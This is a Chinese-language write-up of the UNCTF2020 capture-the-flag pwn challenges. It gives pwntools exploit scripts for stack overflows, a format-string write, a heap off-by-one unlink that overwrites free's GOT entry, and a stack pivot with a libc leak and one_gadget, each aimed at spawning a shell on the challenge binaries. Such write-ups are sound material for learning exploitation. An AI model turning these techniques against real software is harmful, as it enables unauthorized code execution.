UNCTF2020 pwn题目
YLBNB
用pwntools直接连接,然后接受就行。
1 from pwn import * 2 3 p = remote('45.158.33.12',8000) 4 context.log_level = 'debug' 5 print p.recvuntil('}')[-30:]
fan
简单的栈溢出,直接覆盖返回地址为shell的地址就行。
1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('node2.hackingfor.fun',33550 ) 5 6 shell = 0x000400735 7 payload = 'a'*0x30 + 'bbbbbbbb' + p64(shell) 8 p.send(payload) 9 p.interactive()
do_you_like_me?
和上一题几乎一模一样...估计是不同学校的出题人没有商量好。
1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('node2.hackingfor.fun',33436) 5 6 shell = 0x004006CD 7 payload = 'a'*0x10 + 'bbbbbbbb' + p64(shell) 8 p.send(payload) 9 p.interactive()
你真的会pwn嘛?
存在格式化字符串漏洞,修改bss上的数据不为0就可以了。这里用的pwntools的模块直接生成的。
1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('node2.hackingfor.fun',38272) 5 context(os='linux',arch='amd64',log_level='debug') 6 7 attack_addr = 0x060107C 8 payload = payload = fmtstr_payload(10,{attack_addr:1}) 9 p.sendline(payload) 10 p.interactive()
baby_heap
程序本身有system("/bin/sh"),然后存在off-by-one漏洞,我这里利用unlink拿到一个可以读写的指针,打free_got让指向shell,然后free就拿到shell了。这题还侥幸拿了一血。
1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('node2.hackingfor.fun',32488) 5 elf = ELF('./pwn') 6 context.log_level = 'debug' 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 12 def add(size,content): 13 p.sendlineafter('>> ','1') 14 p.sendlineafter('size?\n',str(size)) 15 p.sendafter('content?\n',content) 16 17 def edit(index,content): 18 p.sendlineafter('>> ','4') 19 p.sendlineafter('index ?',str(index)) 20 p.sendafter('content ?\n',content) 21 22 def delete(index): 23 p.sendlineafter('>> ','2') 24 p.sendlineafter('index ?',str(index)) 25 26 fd = 0x0602160-0x18 27 bk = 0x0602160-0x10 28 shell = 0x040097F 29 free_got = elf.got['free'] 30 system_got = elf.got['system'] 31 32 add(0x88,'bhxdn') #0 33 add(0x90,'bhxdn') #1 34 edit(0,p64(0)*2+p64(fd)+p64(bk)+p64(0)*12+p64(0x80)+'\xa0') 35 delete(1) 36 edit(0,p64(0)*3+p64(free_got)) 37 edit(0,p64(shell)) 38 delete(0) 39 p.interactive() 40 #duan()
keer's bug
存在栈溢出,但是没有足够的长度让我们写rop,这里先修改rbp为bss段上的地址,然后将返回地址覆盖成main函数中间的地方。然后再一个read,在bss段写rop泄露libc,然后栈转移回去bss段执行leak libc_base,之后再执行main函数,将返回地址覆盖成one_gadget拿shell,除了做csu,还是第一次知道栈能这么玩。(感谢L0ne1y师傅的指点)
1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('node2.hackingfor.fun',36522) 5 elf = ELF('./pwn') 6 libc = ELF('./libc.so.6') 7 context.log_level = 'debug' 8 9 #gdb.attach(p,'b *0x00040060D') 10 11 buf = 0x0601060+0x100 12 pop_rsi_r15 = 0x000400671 13 pop_rdi = 0x000400673 14 fun_got = elf.got['write'] 15 write_plt = elf.plt['write'] 16 read_plt = elf.plt['read'] 17 main = elf.symbols['main'] 18 leave_ret = 0x0040060D 19 20 ret = 0x004005ED 21 payload = 'a'*0x50+p64(buf)+p64(ret) 22 p.sendafter('keer!!!\n',payload) 23 24 sleep(0.5) 25 payload = p64(pop_rdi)+p64(1) 26 payload +=p64(pop_rsi_r15)+p64(fun_got)+p64(0)+p64(write_plt) 27 payload +=p64(main)+p64(0)*3+p64(buf-0x58)+p64(leave_ret) 28 p.send(payload) 29 libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['write'] 30 print hex(libc_base) 31 32 shell = libc_base + 0xf0364 33 payload =p64(0)*11+p64(shell) 34 #gdb.attach(p) 35 p.send(payload) 36 p.interactive()